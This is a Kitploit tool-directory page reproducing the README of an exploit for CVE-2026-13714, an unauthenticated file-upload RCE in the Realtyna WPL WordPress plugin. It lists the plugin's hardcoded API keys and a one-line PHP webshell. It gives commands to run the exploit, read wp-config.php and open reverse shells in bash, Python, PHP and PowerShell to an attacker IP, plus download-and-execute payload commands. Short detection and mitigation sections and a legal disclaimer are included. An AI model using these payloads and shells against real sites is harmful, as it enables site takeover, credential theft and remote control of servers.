Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-13714 — Unauthenticated RCE exploit for Realtyna WPL < 5.3.0 that uploads a PHP webshell via hardcoded API key and executes arbitrary system commands. | Kitploit
Tools/GitHubGitHub/katransefa/cve-2026-13714
ExploitationWeb Application ExploitationPost-ExploitationPenetration TestingPayload Development
GitHubkatransefa/cve-2026-13714

CVE-2026-13714

Unauthenticated RCE exploit for Realtyna WPL < 5.3.0 that uploads a PHP webshell via hardcoded API key and executes arbitrary system commands.

View Repository
2 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
root@kitploit:~
# Realtyna WPL < 5.3.0 - Unauthenticated RCE Exploit

## Description
This exploit targets a critical vulnerability in Realtyna Organic IDX + WPL Real Estate plugin versions prior to 5.3.0. The plugin uses hardcoded credentials and allows unauthenticated file upload leading to Remote Code Execution (RCE).

## Vulnerability Details
- **CVE ID:** CVE-2026-13714
- **Affected Versions:** < 5.3.0
- **Type:** Unauthenticated Arbitrary File Upload to RCE
- **Researcher:** Thom Stackhouse

### Technical Details
The plugin has an I/O API enabled by default with hardcoded credentials:
- `io_public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w`
- `io_private_key = Eft76bdh0o2uyhJkbG3T`

The API doesn't validate file types, allowing arbitrary PHP file uploads.

## Installation

```bash
# Clone or download the script
git clone https://github.com/yourusername/wpl-rce-exploit.git
cd wpl-rce-exploit

# Install dependencies
pip install requests urllib3

Usage

Basic Usage

root@kitploit:~
# Upload webshell only
python exploit.py -u https://target.com/wordpress

# Execute a command
python exploit.py -u https://target.com/wordpress -c "whoami"

# Multiple commands
python exploit.py -u https://target.com/wordpress -c "id"  # Linux
python exploit.py -u https://target.com/wordpress -c "systeminfo"  # Windows

Common Commands

Linux Targets

root@kitploit:~
# System information
python exploit.py -u https://target.com -c "uname -a"

# Current user
python exploit.py -u https://target.com -c "whoami"

# List files
python exploit.py -u https://target.com -c "ls -la"

# Read wp-config.php
python exploit.py -u https://target.com -c "cat wp-config.php"

# Network information
python exploit.py -u https://target.com -c "ifconfig"
python exploit.py -u https://target.com -c "netstat -tulpn"

Windows Targets

root@kitploit:~
# System information
python exploit.py -u https://target.com -c "systeminfo"

# Current user
python exploit.py -u https://target.com -c "whoami"

# List files
python exploit.py -u https://target.com -c "dir"

# Read wp-config.php
python exploit.py -u https://target.com -c "type wp-config.php"

# Network information
python exploit.py -u https://target.com -c "ipconfig"
python exploit.py -u https://target.com -c "netstat -ano"

Advanced Usage

Reverse Shell (Linux)

root@kitploit:~
# Netcat reverse shell
python exploit.py -u https://target.com -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

# Python reverse shell
python exploit.py -u https://target.com -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

# PHP reverse shell
python exploit.py -u https://target.com -c "php -r '\$sock=fsockopen(\"YOUR_IP\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"

Reverse Shell (Windows)

root@kitploit:~
# PowerShell reverse shell
python exploit.py -u https://target.com -c "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('YOUR_IP',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""

Upload and Execute Custom Payloads

root@kitploit:~
# Download and execute (Windows)
python exploit.py -u https://target.com -c "certutil -urlcache -f http://YOUR_IP/payload.exe C:\temp\payload.exe && C:\temp\payload.exe"

# Download and execute (Linux)
python exploit.py -u https://target.com -c "wget http://YOUR_IP/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"

Exploit Flow

  1. Upload: Uploads a PHP webshell (<?php system($_GET['c']); ?>)
  2. Location: File saved to wp-content/uploads/WPL/<ID>/shell.php
  3. Execution: Execute commands via shell.php?c=COMMAND

Detection

How to Detect the Exploit

  • Check for suspicious files in /wp-content/uploads/WPL/*/
  • Monitor for requests with parameters: wplview=io, wplformat=io, cmd=set_property
  • Look for suspicious API requests with hardcoded credentials

Signs of Compromise

  • Unexpected PHP files in upload directories
  • Unusual web requests with system commands
  • New admin users in WordPress
  • Modified .htaccess files

Mitigation

Fixes

  1. Update immediately to WPL Real Estate version 5.3.0 or higher
  2. If unable to update, disable the I/O API:
    root@kitploit:~
    // Add to wp-config.php
    define('WPL_IO_STATUS', 0);
    
  3. Change the hardcoded credentials
  4. Implement proper file type validation
  5. Restrict file upload directories

Security Recommendations

  • Keep all WordPress plugins updated
  • Use Web Application Firewall (WAF)
  • Regular security audits
  • Monitor file upload directories
  • Disable unnecessary APIs

Screenshots

Successful Exploit

root@kitploit:~
[+] Realtyna WPL < 5.3.0 RCE Exploit
[+] Target: https://localhost/wordpress/
[+] Command: whoami
[+] Uploading webshell...
[+] File uploaded successfully!
[+] Webshell found at: wp-content/uploads/WPL/1/shell.php
[+] Command output:
desktop-0s8mt1v\kg

Disclaimer

This exploit is for educational and authorized testing purposes only. Unauthorized use against systems you don't own or have permission to test is illegal. The author assumes no responsibility for misuse.

Legal Usage

  • Only use on systems you own
  • Only use with explicit written permission
  • Follow responsible disclosure practices
  • Report vulnerabilities to vendors

License

This project is for educational purposes only. Use at your own risk.

Credits

  • Original Researcher: Thom Stackhouse
  • CVE: CVE-2026-13714
  • WPVDB ID: 69f9dcd8-ab3c-46ed-ac6b-2f1db35f8d1f

References

  • WPScan Vulnerability Page
  • CVE-2026-13714

Changelog

v1.0 (2026-08-17)

  • Initial release
  • Unauthenticated file upload
  • Remote code execution
  • Command execution support

Contributing

Feel free to submit issues and pull requests for improvements.

Support

For issues and questions, please open an issue on GitHub.


⚠️ WARNING: This tool is provided for security research and educational purposes only. Always obtain proper authorization before testing any system.

root@kitploit:~
Download Tool